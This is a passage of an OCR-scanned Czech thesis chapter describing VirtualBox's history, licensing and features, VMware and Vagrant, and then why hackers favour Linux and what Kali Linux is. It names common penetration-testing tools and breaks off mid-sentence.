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Obrdzek 2: schéma Kali Linux - Hacking Machine, zdroj (Sabih, 2018)
3.3.1 VirtualBox

Oracle VM VirtualBox (dfive Sun VirtualBox, Sun xVM VirtualBox a Innotek
VirtualBox) je virtualiza¢ni nastroj pro x86 virtualizaci distribuovany jako open-
source, vyvinuty spole¢nosti Oracle Corporation. Vytvoren spole¢nosti Innotek, byl
koupen spole¢nosti Sun Microsystems v roce 2008, kterou zase ziskala spolec¢nost
Oracle v roce 2010.

VirtualBox mize byt nainstalovan na operacnich systémech Windows, MacOS,
Linux, Solaris a OpenSolaris. Existuji také porty pro FreeBSD (KyleEvans, 2020) a
Genode. (Genode Labs, 2014) Podporuje vytvareni a spravu hostujicich virtualnich
poc¢itacli s opera¢nimi systémy Windows, Linux, BSD, OS / 2, Solaris, Haiku a
OSx86 (Oracle, 2014) a omezenou virtualizaci hosti MacOS na hardwaru Apple.
(Asad, 2010) (Purdy, 2010) Pro nékteré opera¢ni systémy hosta je k dispozici bali¢ek
ovladac¢i zafizeni a systémovych aplikaci ,,Guest Additions* (Oracle, 2020) (Oracle,
2013)|, ktery obvykle zvySuje vykon, zejména grafiky. (Newell, 2020)

3.3.1.1 Historie

VirtualBox byl poprvé nabizen spole¢nosti Innotek GmbH z Weinstadtu v Némecku
na zékladé licence proprietarniho softwaru, takZze jedna verze produktu byla k
dispozici zdarma pro osobni nebo pro zkusebni pouziti, podléhala licenci VirtualBox
pro osobni pouziti a hodnoceni (PUEL). (Oracle, 2008) V lednu 2007 vydala
spole¢nost Innotek GmbH na zakladé poradenstvi spolecnosti LiSoG VirtualBox
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Open Source Edition (OSE) jako bezplatny a open-source software, s vyhrazenymi
pozadavkami GNU General Public License (GPL), verze 2. (Oracle, 2009)
Spole¢nost Innotek GmbH také piispéla k rozvoji podpory OS / 2 a Linux ve
virtualizaci (Ong, 2006) a portech OS / 2 (Business Wire, 2002) produkti od
spole¢nosti Connectix, které byly pozdé&ji spole¢nosti Microsoft ziskany. Spole¢nost
Innotek konkrétné vyvinula kod ,additions® ve Windows Virtual PC i Microsoft
Virtual Server, ktery umoznuje rtizné interakce mezi hostitelskym a hostujicim OS,
jako jsou sdilené schranky nebo zména velikosti dynamického vytezu.

Sun Microsystems ziskala spole¢nost Innotek v tnoru 2008. (Sun Microsystems,
2008) (Offner, 2008) (Sun Microsystems, Inc., 2008)

Oracle Corporation koupila spole¢nost Sun v lednu 2010 a produkt prejmenovala na
»Oracle VM VirtualBox“. (systemnews, 2010) (Hawley, 2010)

V prosinci 2019 zacal VirtualBox podporovat pouze virtualizaci zaloZenou na
hardwaru, ¢imz zrusil podporu softwarové. (Oracle, 2020) (Oracle, 2020)

3.3.1.2 Licencovani

Jadrem balicku je od verze 4 v prosinci 2010 bezplatny software pod GNU General
Public License verze 2 (GPLv2). Samostatny rozsifujici balicek VirtualBox Oracle
VM VirtualBox poskytujici podporu pro zarizeni USB 2.0 a 3.0, protokol Remote
Desktop Protocol (RDP), Sifrovani diskii, spousténi prostfedi NVMe a Preboot
Execution Environment (PXE) je pod licenci proprietéarni, nazvanou Personal Use
and Evaluation License (PUEL), ktera umoznuje bezplatné pouzivani softwaru pro
osobni pouziti, vzdélavaci aéely nebo hodnoceni. (Oracle, 2008) Od verze VirtualBox
5.1.30 (DrWhoZee, 2017) Oracle definuje osobni pouziti jako instalaci softwaru na
jeden hostitelsky pocita¢ pro nekomeréni ucely. (Oracle, 2017)

Pred verzi 4 existovaly dva rtzné balicky softwaru VirtualBox. Cely balicek byl
nabizen zdarma v ramci PUEL s licencemi na dalsi komer¢éni nasazeni, které lze
zakoupit od spolecnosti Oracle. Druhy balicek s nazvem VirtualBox Open Source
Edition (OSE) byl vydan pod GPLv2. To odstranilo stejné proprietarni komponenty,
které nejsou dostupné pod GPLv2. (Oracle, 2017) (Oracle, 2009)

Budovani systému BIOS pro VirtualBox od verze 4.2 vyzaduje pouziti kompilatoru
Open Watcom (Debian, 2016), pro ktery je vefejna licence Sybase Open Watcom
schvalena jako ,Open Source® iniciativou Open Source Initiative (Open Source
Initiative, 2016), nikoli v8ak jako ,zdarma“ nadaci Free Software Foundation nebo
podle pokynt pro svobodny software Debian. (Debian, 2016) (Free Software
Foundation, 2016)

Prestoze VirtualBox méa experimentélni podporu pro hosty Mac OS X, licenéni
smlouva koncového uzivatele systému Mac OS X neumoziiuje spusténi operac¢niho
systému na hardwaru jiného vyrobce nez Apple, coz je v opera¢nim systému
vynuceno volanim do ovlada¢e Apple System Management Controller. (SMC) ve
vech pocitacich Apple, ktera ovéfuje pravost hardwaru. (Randal Schwartz, 2010)
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3.3.1.3 Emulované prostiedi

Uzivatelé VirtualBoxu mohou naéist vice hostujicich operacnich systému pod jednim
hostitelskym operac¢nim systémem (hostitelsky operaéni systém). Kazdy host muze
byt spustén, pozastaven a zastaven nezavisle na vlastnim virtualnim stroji (VM).
Uzivatel muze nezévisle nakonfigurovat kazdy VM a spustit jej na zakladé vybéru
softwarové virtualizace nebo hardwarové virtualizace, pokud to zédkladni hostitelsky
hardware podporuje. Hostitelsky operac¢ni systém a hostujici opera¢ni systémy a
aplikace mohou spolu komunikovat prostifednictvim tady mechanismi, vcetné
spole¢né schranky a virtualizovaného sitového zarizeni. Hostujici virtualni pocitace
mohou také pfimo komunikovat mezi sebou, pokud jsou nakonfigurovany tak, aby
tak ¢inily. (Oracle, 2013)

3.3.1.3.1 Softwarova virtualizace
Funkce byla zruena poc¢inaje VirtualBoxem 6.1. (Oracle, 2020) (Oracle, 2020)

3.3.1.3.1.1 Verze 6.0 a nizsi
V pripadé, ze neni k dispozici virtualizace pomoci hardwaru, VirtualBox pfijiméa
standardni piistup zalozeny na virtualizaci softwaru. Tento rezim podporuje
32bitové hostujici OS, které bézi v kruhech 0 a 3 architektury prstenti Intel.
Systém prekonfiguruje kod hostujictho OS, ktery by norméalné fungoval v kruhu 0,
aby se provedl v kruhu 1 na hostitelském hardwaru. Protoze tento kod obsahuje
mnoho privilegovanych instrukci, které nemohou byt nativné spustény v kruhu 1,
VirtualBox pouziva Spréavce skenovani a analyzy kodu (CSAM), aby prohledal kod
Ring 0 rekurzivné pred jeho prvnim spuSténim, aby identifikoval problematické
pokyny, a poté vola Spravce oprav (PATM). provadét opravy na misté. To nahradi
instrukci skokem na ekvivalentni kompilovany kédovy fragment bezpeény v VM v
paméti hypervisoru.
Kod hostujictho uzivatelského rezimu, bézici v kruhu 3, obvykle bézi pfimo na
hardwaru hostitele v kruhu 3.
V obou piipadech VirtualBox pouziva CSAM a PATM ke kontrole a opravé
protipravnich pokyni, kdykoli dojde k chybé. VirtualBox také obsahuje dynamicky
rekompilator zaloZzeny na QEMU pro tplnou prekompilaci jakéhokoli kodu v redlném
rezimu nebo chranéném rezimu (napf. Kod BIOS, host DOS nebo jakékoli spusténi
opera¢niho systému). (Oracle, 2011)
Pomoci téchto technik mize VirtualBox dosdhnout vykonu srovnatelného s vykonem
VMware. (Diedrich, 2007) (Perlow, 2010)

3.3.1.3.2 Hardwarova virtualizace

VirtualBox podporuje hardwarovou virtualizaci Intel VT-x i AMD AMD-V. S
vyuzitim téchto zarizeni miize VirtualBox provozovat kazdy hostovany VM ve svém
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vlastnim samostatném adresnim prostoru; koéd hostujictho OS vyzvanéni 0 se spousti
na hostiteli pfi vyzvanéni 0 v rezimu root bez VM root nez v kruhu 1.

Poé¢inaje verzi 6.1 VirtualBox tuto metodu podporuje pouze. (Oracle, 2020) (Oracle,
2020) Do té doby VirtualBox konkrétné podporoval nékteré hosty (véetné
64bitovych hostii, SMP hostt a uréitych proprietarnich opera¢nich systémii) pouze
na hostitelich s hardwarovou virtualizaci.

3.3.1.3.3 Virtualizace zarizeni

Systém emuluje pevné disky v jednom ze t¥{ formati bitového obrazu disku:
VDI: Tento format je Virtual Virtual Image Image (Oracle) a ukladad data do
souborti, které maji priponu nazvu souboru .vdi.
VMDK: Tento otevieny format pouzivaji produkty VMware, jako je VMware
Workstation a VMware Player. Uklada data do jednoho nebo vice soubori s
priponami nazvu souboru .vimdk. Jeden virtualni pevny disk mize zahrnovat nékolik
souborti.
VHD: Tento format pouzivaji Windows Virtual PC a Hyper-V a je nativnim
formatem virtualniho disku opera¢niho systému Microsoft Windows, pocinaje
Windows 7 a Windows Server 2008 R2. Data v tomto formatu jsou ulozena v jediném
souboru, ktery mé pfiponu nazvu souboru ,,.vhd*.
Virtudlni stroj VirtualBox proto mize pouzivat disky drive vytvorené ve VMware
nebo Microsoft Virtual PC, jakoz i sviij vlastni nativni format. VirtualBox se také
muZe pripojit k cilim iSCSI ak raw oddilim na hostiteli, a to bud jako virtualni
pevné disky. VirtualBox emuluje IDE (fadi¢e PIIX4 a ICH6), SCSI, SATA (fadi¢
ICH8M) a fadice SAS, ke kterym lze pfipojit pevné disky.
VirtualBox podporuje Open Virtualization Format (OVF) od verze 2.2.0 (duben
2009). (Oracle, 2010)
Obrazy ISO a fyzickéa zafizeni pfipojené k hostiteli lze ptipojit jako jednotky CD /
DVD. Napftiklad obraz DVD distribuce v systému Linux Ize stdhnout a pouzit primo
pomoci VirtualBoxu.
Ve vychozim nastaveni poskytuje VirtualBox grafickou podporu prostrednictvim
vlastni virtualni grafické karty kompatibilni s VESA. Pfirtstky hostii pro hosty
Windows, Linux, Solaris, OpenSolaris nebo OS / 2 zahrnuji specialni ovlada¢ videa,
ktery zvysuje vykon videa a zahrnuje dalsi funkce, jako je automatické prizpusobeni
rozliSeni hosta pfi zméné velikosti okna VM (Oracle, 2020) nebo sloZeni plochy.
prostfednictvim virtualizovanych ovlada¢at WDDM.
V pripadé sitového adaptéru Ethernet VirtualBox virtualizuje tyto karty sitového
rozhrani: (Oracle, 2013)

e AMD PCnet PCIII (Am79C970A)

e AMD PCnet-Fast IIT (Am79C973)

e Stolni poé¢ita¢ Intel Pro / 1000 MT (82540EM)

e Server Intel Pro / 1000 MT (82545EM)

e Server Intel Pro / 1000 T (82543GC)
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Paravirtualizovany sitovy adaptér (virtio-net)

Emulované sitové karty umoznuji spusténi vétsiny hostovanych opera¢nich systému
bez nutnosti najit a nainstalovat ovlada¢e pro sitovy hardware, protoze jsou
dodavany jako soucast hostujictho OS. K dispozici je také specialni
paravirtualizovany sitovy adaptér, ktery zlepsuje vykon sité tim, Ze vylu¢uje nutnost
prizptisobit se konkrétnimu hardwarovému rozhrani, ale vyzaduje zvlastni podporu
ovlada¢e u hosta. (Mnoho distribuci Linuxu se dodava s timto ovladacem.) Ve
vychozim nastaveni VirtualBox pouzivda NAT, pomoci kterého mize fungovat
internetovy software pro koncové uzivatele, jako je Firefox nebo ssh. Je mozné také
nakonfigurovat premosténé sité prostifednictvim hostitelského sitového adaptéru
nebo virtualnich siti mezi hosty. Soucasné lze pripojit az 36 sitovych adaptéru, ale
pouze Ctyti lze konfigurovat pomoci grafického rozhrani.

Pokud jde o zvukovou kartu, VirtualBox virtualizuje zafizeni Intel HD Audio, Intel
ICH AC'97 a SoundBlaster 16. (Oracle, 2011)

Radi¢ USB 1.1 je emulovan tak, aby viechna zafizeni USB pripojen4 k hostiteli byla
vidét v hostu. Proprietarni rozsifujici bali¢ek pridava radice USB 2.0 nebo USB 3.0
a pokud VirtualBox funguje jako RDP server, miuze také pouzivat USB zafizeni na
vzdaleném RDP klientovi, jako by byla pfripojena k hostiteli, i kdyz pouze pokud
klient podporuje tento VirtualBox — specifické rozsiteni (Oracle poskytuje klientim
tenké klienty Solaris, Linux a Sun Ray, ktefi to dokézou, a slibovali podporu pro
dalsi platformy v budoucich verzich). (Oracle, 2011)

3.3.1.4 Sada funkci

e 64bitové hosty (je vyzadovana podpora virtualizace hardwaru)

e Snimky

e Bezproblémovy rezim — schopnost bézet virtualizované aplikace vedle sebe s
béznymi stolnimi aplikacemi

e Sdilené schranka

e Sdilené slozky

e Specialni ovladace a obsluzné programy usnadiujici pfepinani mezi systémy

e Interakce piikazového fadku (kromé GUI)

e Vefejné API (Java, Python, SOAP, XPCOM) pro fizeni konfigurace a
provadéni VM (Igotti, 2008)

e Vnofené strankovani pro AMD-V a Intel VT (pouze pro procesory podporujici
SLAT a s povolenym SLAT)

e Omezena podpora pro 3D grafickou akceleraci (véetné OpenGL az (ale ne
véetnd) 3.0 a Direct3D 9.0c pies Wine's Direct3D na OpenGL pieklad)

e Podpora SMP (a7 32 virtualnich CPU na virtualni stroj) od verze 3.0

e Teleportation (aka Live Migration)

e Zrychleni vystupu 2D videa (neméjte se mylit s akceleraci dekodovani videa),
od verze 3.1
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EFI je podporovan od verze 3.1 (hosté Windows 7 (Oracle) (Oracle, 2011)
nejsou podporovani) (Oracle, 2011)

3.3.1.4.1 Funkce emulace tlozisté

Podpora NCQ pro diskové oddily SATA, SCSI a SAS

Zapojeni disku SATA

Rezim prichodu pro jednotky SSD

Rezim pass-through pro jednotky CD / DVD / BD — umoziuje uZivatelim
prehravat zvukové disky CD, vypalovat optické disky a prehravat sifrované
disky DVD

Miuze deaktivovat I / O cache hostitelského OS

Umoziuje omezeni $itky pasma 10

PATA, SATA, SCSI, SAS, iSCSI, radice disket

Sifrovani obrazu disku VM pomoci AES128 / AES256

3.3.1.4.2 Podpora tlozisté

Nezpracovany pristup na pevny disk — umoznuje, aby se v hostujicim systému
zobrazovaly fyzické oddily pevného disku v hostitelském systému

Podpora formatu VMDK (Virtual Machine Disk) - umoziiuje vyménu obrazi
disku s VMware

Podpora Microsoft VHD

Disky QEMU qed a qcow

Disky ve formatu HDD (pouze verze 2; verze 3 a 4 nejsou podporovany)
pouzivané virtualiza¢nimi produkty Parallels

3.3.1.4.3 Od verze 3.2

Podpora hosta Mac OS X Server — experimentalni funkce

Balonky paméti (nejsou k dispozici na hostitelich Solarisu)

Deduplikace paméti RAM (Page Fusion) pro hosty Windows na 64bitovych
hostitelich

CPU hot-plugging pro Linux (hot-add a hot-remove) a néktetri hosté Windows
(hot-add)

Magzéni snimkt, zatimco bézi virtudlni stroj

Nastaveni pro vice monitori v GUI pro hosty Windows

Emulace tadic¢e LSI Logic SAS

Zrychleni videa pomoci protokolu RDP (Remote Desktop Protocol)
prostrednictvim bezplatného rozsifeni

Spusténi a ovladani hostované aplikace z hostitele — pro automatizované
nasazeni softwaru
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3.3.1.4.4 Od verze 4.0

Oddéleni PUEL / OSE bylo upusténo ve prospéch otevieného zdrojového
zékladniho produktu a uzavieného zdrojového rozgifujiciho balicku, ktery lze
nainstalovat na horni ¢ast zakladniho produktu. V ramci této zmény byly
vytvoreny dalsi komponenty VirtualBoxu open source (instalatory,
dokumentace, ovladace zafizeni)

Emulace zvukového kodeku Intel HD

Emulace ¢ipové sady Intel ICH9

Nové schéma tlozisté VM, kde jsou vSsechna data VM ulozena v jedné slozce,
aby se zlepsila prenositelnost VM

Nékolik vylepSeni uzivatelského rozhrani véetné nového vzhledu s ndhledem
VM a rezimem méritka

Na 32bitovych hostitelich mohou kazdy pouzivat vice nez 1,5 GB RAM
Kromé formatu OVF je podporovan také jeden souborovy format OVA
Vyuziti CPU a sitka pasma I / O mohou byt omezeny na VM

Podpora obrazka Apple DMG (DVD)

Nastaveni pro vice monitorii pro hosty Linux / Solaris (dfive pouze Windows)
Zména velikosti obrazovych formatu diskua z Oracle, VDI (bitova kopie disku
VirtualBox) a Microsoft, VHD (pevny disk virtualniho poé¢itace)

3.3.1.4.5 Od verze 4.1

Podpora Windows Aero (experimentalni)
Klonovani virtualnich stroji

3.3.1.4.6 Od verze 4.2

Skupiny virtudlnich stroji — umoznuje spravu skupiny virtualnich stroju jako
jedné jednotky (zapinat a vypinat, pofizovat snimky atd.)

Néktera nastaveni VM lze béhem provadéni VM zménit

Podpora az 36 NIC v pripadé ¢ipové sady ICH9

Podpora pro omezeni sitky pasma I / O sité

Miuze automaticky spustit virtualni pocitace pii spusténi hostitelského
systému (s vyjimkou hostitelit Windows)

3.3.1.4.7 Od verze 4.3

Podpora snimani videa VM
Podpora dotykového zafizeni hostitele (GUI predava udélosti dotykem hosta
hostovi) / virtualizaci USB takovych zafizeni

3.3.1.4.8 Od verze 5.0 (Oracle)

Podpora paravirtualizace pro hosty se systémem Windows a Linux ke zlepSeni
presnosti a vykonu pfi zachovani ¢asu
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Radi¢ USB3 zaloZeny na hardwarové implementaci spole¢nosti Intel. (Intel,
nedatovano) Je podporovana jakoukoli verzi Windows od Windows 8,
Linuxovym jadrem od 2.6.31 a Mac OS X od verze 10.7.4.

Obousmérna podpora drag and drop pro Windows, Linux a Solaris

Sifrovani bitového obrazu VM pomoci bezplatného rozsirent

Podpora skalovani vystupu VM a zobrazeni HiDPI

Doplnovani diskai SATA pomoci GUI

Zachytavani provozu USB

VM lze odpojit od relace GUI a spustit na pozadi (Oracle Corporation, 2015)
Pokyny AVX, AVX-2, AES-NI, SSE 4.1 / 4.2 (pokud je podporovéano
hostitelskym CPU)

3.3.1.4.9 Od verze 6.0 (Oracle)

Podpora exportu virtualnich poc¢itacti do Oracle Cloud

Spravce souborii, ktery umoznuje ridit hostujici systém soubortu a kopirovat
soubory z / do néj

Ovlada¢ VMSVGA GPU pro hostitele Linuxu

Podpora nastaveni prostorovych reproduktorii

Podpora hardwarové podporované vnorené virtualizace na procesorech AMD

3.3.1.4.100d verze 6.1 (Oracle, 2020)

Podpora pro import virtualnich poc¢itac¢t z prostiedi Oracle Cloud

Pfidana podpora vnofenych virtualizaci pro procesory Intel (jiz byla k
dispozici pro procesory AMD) poéinaje procesorem Intel Core i5 Broadwell
Experimentalni podpora pro prenos soubori pomoci drag-n-drop pouze pro
hostitele a hosty Windows (ve vychozim nastaveni zakazano, musi byt
povoleno pomoci VBoxManage)

Podpora virtio-scsi pro pevné disky a optické jednotky, vcéetné podpory
spousténi

Podpora hostitela s az 1024 CPU

Podpora DXVA (hardwarové akcelerované dekodovéani videa) pro hosty
Windows

Podpora NVRAM pro EFI, ktera zlepsuje kompatibilitu s mnoha hostujicimi
OS

Softwarova klavesnice pro zadavéani libovolnych klaves hostovi
Monitorovani vyuziti hostujictho CPU

Prerusené podpora pro softwarovou virtualizaci CPU — nyni je vyzadovan
procesor s hardwarovou virtualizaci

Pterusena podpora priichodu PCI pro hostitele Linuxu
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3.3.1.4.11 Omezeni

VirtualBox ma velmi nizkou prenosovou rychlost do zafizeni USB2 a z nich.
(Oracle) (Oracle)

Prestoze se jedna o produkt s otevienym zdrojovym koédem, jsou nékteré jeho
funkce dostupné pouze v binarni podobé na zakladé komeréni licence (viz nize
»VirtualBox Extension Pack®).

Prochazejici zafizeni USB3 nejsou podporovana star$imi hostujicimi
operacnimi systémy, jako jsou Windows Vista a Windows XP, protoze chybi
ovladace, ale pocinaje verzi 5.0 VirtualBox nabizi experimentalni tadic¢
Renesas uPD720201 xHCI USB3, ktery umoznuje pouziti USB3 v téchto
opera¢nich systémech pomoci ru¢ni upravy konfigurace soubory. (Oracle,
2019) (Oracle, 2015)

Prirastky hosttt pro MacOS nejsou v tuto chvili k dispozici. (Oracle)
Prirtastky hosti pro Windows 9x (Windows 95, 98 a ME) nejsou k dispozici.
To m&a za nasledek Spatny vykon kvili absenci grafické akcelerace ve
vychozim 16bitovém barevném rezimu (je k dispozici externi software tfetich
stran (MajorGeeks.com, 2018) (MajorGeeks.com, 2005) (MajorGeeks.com,
2006), ktery umoznuje podporu 32bitového barevného rezimu, coZ ma za
nasledek lepsi vykonnost.) (Oracle, 2008) (Oracle, 2010) (Oracle, 2014)
Podpora EFI je netplné, napt. Zavadéni EFI pro hosta Windows 7 neni
podporovéano. (Oracle) (Oracle, 2011) Chybi bootovani UEFI pro hostujici
OS. (Oracle, 2019)

Podporovany jsou pouze starsi verze prichodu DirectX a OpenGL (tuto
funkci lze aktivovat pomoci moznosti 3D Acceleration pro kazdy VM
samostatné). (Oracle, 2020)

Video RAM je omezeno na 128 MiB (256 MiB s aktivaci 2D Video
Acceleration) z divodu technickych potizi (Oracle, 2017) (pouze zména GUI,
aby uzivatel mohl pfidélit vice video RAM VM nebo rucéné editovat
konfigura¢ni soubor vyhral VM 't prace a bude mit za nésledek fatalni chybu
(Oracle, 2017)).

Windows 95/98 / 98SE / ME nelze instalovat nebo nespolehlivé pracovat s
modernimi procesory (AMD Zen nebo novéjsimi) a hardwarovou virtualizaci
(VirtualBox 6.1 a vyssi). To je zptisobeno nespravnym kodovanim téchto
operacnich systémii. (Oracle, 2020) (Henry, 2015) (Henry, 2015)

3.3.1.4.12 VirtualBox Extension Pack

Nékteré funkce vyzaduji instalaci uzavieného zdroje ,,VirtualBox Extension Pack®:
(Oracle, 2020)

Podpora virtualniho radi¢e USB 2.0 / 3.0 (EHCI / xHCI)
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e VirtualBox RDP: podpora proprietdrniho protokolu vzdaleného piipojeni
vyvinutého spolec¢nosti Microsoft a Citrix Systems.
e Zavadéni PXE pro karty Intel.
e Sifrovani obrazu disku VM
Zatimco v kazdém vhodném hostovaném virtudlnim stroji jsou nainstalovany
dopliikky hosta, na hostiteli se spusténou sluzbou VirtualBox je nainstalovana
Extension Pack.

3.3.2 VMware

VMware, Inc. je americké vefejné obchodovana softwarova spole¢nost z Kalifornie v
USA. Poskytuje cloudovy vypocetni a virtualiza¢ni software a sluzby. (Gartner,
2016) Byla to jedna z prvnich komeréné uspéSnych spoleénosti, ktera virtualizovala
architekturu x86. (VMware, 2020)

Desktopovy software VMware bézi na systémech Microsoft Windows, Linux a
macOS, zatimco jeho podnikovy softwarovy hypervisor pro servery, VMware ESXi,
je hypervisor na principu bare-metal, ktery bézi primo na hardwaru serveru, aniz by
vyzadoval dalsi zakladni opera¢ni systém. (VMware, 2020)

Software VMware poskytuje hostujicimu operacnimu systému zcela virtualizovanou
sadu hardwaru. (Lynch, 2004) Software VMware virtualizuje hardware pro graficky
adaptér, sitovy adaptér a adaptéry pevného disku. Hostitel poskytuje predavaci
ovladace pro hostovana zarizeni USB, sériova a paralelni zafizeni. Timto zpisobem
se virtualni pocitace VMware stavaji vysoce pfenosnymi mezi pocitaci, protoze kazdy
hostitel vypada témér stejné jako host. V praxi miuze spravce systému pozastavit
operace na hostovi virtualniho pocitace, presunout nebo zkopirovat tohoto hosta do
jiného fyzického pocitace a tam pokracovat v provadéni piesné v okamziku
pozastaveni. Alternativné pro podnikové servery umoznuje funkce zvanéd vMotion
migraci provoznich virtualnich pocitacd typu host mezi podobnymi, ale
samostatnymi hardwarovymi hostiteli sdilejicimi stejné ulozisté (Murray, 2019)
Kazdy z téchto prechodi je pro vSechny uzivatele virtualniho pocitace v dobé jeho
migrace zcela transparentni.

3.3.3 Vagrant

Vagrant je open-source softwarovy produkt pro vytvareni a tudrzbu prenosnych
prostiedi pro vyvoj virtualniho softwaru, (Palat, 2012) napf. pro VirtualBox, KVM,
Hyper-V, Docker Containers, VMware a AWS. Snazi se zjednodusSit spravu
konfigurace softwaru virtualizaci, aby se zvysila produktivita vyvoje. Vagrant je
napsan v jazyce Ruby, ale jeho ekosystém podporuje vyvoj v nékolika jazycich.

Vagrant byl poprvé zahajen jako osobni vedlejsi projekt Mitchellem Hashimotem v
lednu 2010. Prvni verze Vagrantu byla vydana v bfeznu 2010. V #{jnu 2010
spole¢nost Engine Yard prohlasila, Ze se chystaji sponzorovat projekt Vagrant. Prvni
stabilni verze, Vagrant 1.0, byla vydana v breznu 2012, pfesné dva roky po vydani
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pivodni verze. V listopadu 2012 zalozil Mitchell organizaci nazvanou HashiCorp,
ktera podporovala rozvoj Vagrantu na plny tvazek. Vagrant ztistal permisivné
licencovanym svobodnym softwarem. HashiCorp nyni pracuje na vytvéreni
komerénich vydani a poskytuje profesionalni podporu a $koleni pro Vagrant.
Vagrant byl ptivodné svéazan s VirtualBox, ale verze 1.1 pfidala podporu pro dalsi
virtualiza¢ni software, jako jsou VMware a KVM, a pro serverové prostiedi, jako je
Amazon EC2. (Hashimoto, 2013) Vagrant je napsan v Ruby, ale lze jej pouzit v
projektech napsanych v jinych programovacich jazycich, jako jsou PHP, Python,
Java, C # a JavaScript. (Cooper, 2010) Od verze 1.6 Vagrant nativné podporuje
kontejnery Dockeru, které v nékterych pripadech mohou slouzit jako nahrada za
plné virtualizovany operaéni systém. (Hashimoto, 2014)

3.4 Vyuziti Linuxu pro hackovani

Proc¢ tedy hackeri pouzivaji Linux nad jinymi opera¢nimi systémy? Vétsinou proto,
ze Linux nabizi mnohem vyssi Groven kontroly pomoci nékolika riznych metod.
(Occupytheweb, 2018)

3.4.1.1 Linux je open source

Na rozdil od Windows je Linux open source, coz znamena, Ze zdrojovy kod
operacniho systému je dostupny pro uzivatele. Je ho mozné ménit a manipulovat s
nim, jak si jen uzivatel preje. Pokud se programéator snazi, aby systém fungoval tak,
jak mnebylo zamysleno, moznost manipulovat se zdrojovym kodem je nezbytné.
(Occupytheweb, 2018)

3.4.1.2 Linux je transparentni

Pro uc¢inné hackovani, je tfeba znat a pochopit sviij operacni systém a do znacéné
miry také opera¢ni systém, na ktery se ttoc¢i. Linux je zcela transparentni, coz
znamena, ze je mozné vidét a manipulovat se vSemi jeho pracovnimi ¢astmi.
fungovani jeho opera¢nich systému, takze nikdy nevite, co se déje ,pod kapotou®,
zatimco v Linuxu je reflektor piimo svitici na kazdou komponentu opera¢ni systém.
Diky tomu je prace s Linuxem efektivnéjsi. (Occupytheweb, 2018)

If you know the enemy and know yourself, you need not fear the
result of a hundred battles. If you know yourself but not the
enemy, for every victory gained you will also suffer a defeat. If
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you know neither the enemy nor yourself, you will succumb in
every battle. (Tzu, 5. stoleti pt. n. l.)

Windows voli jinou strategii nez Linux, snazi se byt nepoznan nepiitelem. A své
zranitelnosti odhalit, az kdyz vyjde patch.

3.4.1.3 Linux nabizi granularni kontrolu

Linux je granularni. To znamend, Ze je mozna témér nekonecnd kontrola nad
systémem. Ve Windows je mozné fidit pouze spole¢nost Microsoft dovoli. V systému
Linux zjednodusuje a zefektiviiuje skriptovani v kterémkoli skriptovacim jazyce.
(Occupytheweb, 2018)

3.4.1.4 Vétsina hackerskych nastroju je psana pro Linux

Vice nez 90 procent vSech hackerskych nastroji je napsano pro Linux. Existuji
samoziejmé vyjimky, jako jsou Kain a Abel a Wikto, ale tyto vyjimky potvrzuji
pravidlo. I kdyz jsou hackerské nastroje jako Metasploit nebo nmap portovany pro
Windows, nepfinaseji vSechny moznosti z Linuxu. (Occupytheweb, 2018)

3.4.1.5 Budoucnost patii Linuxu / Unixu

Occupytheweb podal prohléseni, o kterém priznal, ze muze vypadat jako radikélni,
prohlasil, ze budoucnost informacnich technologii patii do systémi Linux a Unix.
Microsoft mél sviij den v 80. a 90. letech, ale jeho rust se zpomaluje a stagnuje.
(Occupytheweb, 2018)

Od doby, kdy internet zacal, byl Linux / Unix opera¢nim systémem webovych
serveri diky své stabilité, spolehlivosti a robustnosti. Dokonce i dnes se Linux /
Unix pouziva ve dvou tretinach webovych serveri a dominuje na trhu. Vestavéné
systémy ve smérovacich, prepinacich a dalsich zafizenich témér vzdy pouzivaji jadro
Linuxu a virtualizaénimu svétu dominuje Linux, a to jak s VMware, tak Citrix
postaveny na linuxovém jadie. (Occupytheweb, 2018)

Vice nez 80 procent mobilnich zafizeni bézi na Unixu nebo Linuxu (iOS je Unix a
Android je Linux), takze pokud si myslite, Ze budoucnost pocitact spociva v
mobilnich zafizenich, jako jsou tablety a telefony (bylo by obtiZné argumentovat
jinak), pak budoucnost je Unix / Linux. Microsoft Windows mé na trhu mobilnich
zafizeni jen 7 procent. . Je to vlak, do kterého chcete byt zaptazeni?“ (Occupytheweb,
2018)
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Tato radikalni prohlaseni nepfipoustéjici jiny nazor by neméla mit velky ohlas.
Systém Windows pouZziva jinou strategii a je priliS brzo na to fict, zda je o slepou
vétev.

Windows je napiiklad napfed v podpoie grafickych karet a jeho DirectX12 je
neustale vyvijen.

Windows May 2020 Update zahrnuje VDDM 2.7 (Jianye, 2019), které pfinasi mnoho
novych funkei (Microsoft, 2019) (Claire, 2019) (Patel, 2019; Jobalia, 2019) (Natalie,
2019) (Tidd, 2019) (Microsoft, 2019).

Aby nebyli prilis nadSeni i nadSenci Windows, Windows 10 21H1 Update, ktery je
ve vyvoji zahrnuje WDDM 2.9, které dotvari symbiézu Windows s Linux. Linux dal
prikazovy fadek z Ubuntu do Windows (Microsoft, 2017). Windows da DirectX 12
Linuxu (Pronovost, 2020).

3.5 Kali linux

Kali Linux je distribuce Linuxu odvozena od Debianu urcéena pro digitalni soudni
ohledani a penetrac¢ni testy. (Simionato, 2007) Je udrzovana a financovana Offensive
Security. (Watson, 2016)

Kali Linux méa predinstalovanych vice nez 600 (Offensive Security, 2019) aplikaci
pro penetracni testovani, véetné Armitage (graficky nastroj pro spravu
kybernetickych utoki), Nmap (skener porti), Wireshark (analyzator paketii), John
the Ripper (cracker hesel), Aircrack- ng (softwarova sada pro penetra¢ni testovani
bezdratovych siti LAN), sada Burp a bezpe¢nostni skenery webovych aplikaci
OWASP ZAP. (dookie, 2014) (Heise Media UK, 2013)

Byl vyvinut Mati Aharonim a Devonem Kearnsem z Offensive Security pfepsanim
BackTrack, jejich predchozi distribuce testovani bezpecnosti informaci na Linuxu
zalozené na Knoppix. Pivodné byl navrzen se zaméfenim na auditovani jadra, od
kterého dostal svij nazev Kernel Auditing LInux. Nékdy se nespravné predpoklada,
ze nazev pochézi od hinduistické bohyné Kali. (Drake, et al., 2020) (Gallagher, 2019)
Tteti hlavni vyvojar, Raphaél Hertzog, se k nim pripojil jako expert na Debian.
(Offensive Security, 2012) (Orin, 2014)

Kali Linux je zalozen na distribuci Debian Testing. VétSina balicki, které Kali
pouzivé, je importovana z repozitaii Debianu. (Offensive Security, 2013)
Popularita systému Kali Linux vzrostla, kdyz byla uvedena v nékolika epizodach
televizniho seridlu Mr. Robot. Mezi nastroje zdiraznéné v tomto seridlu a
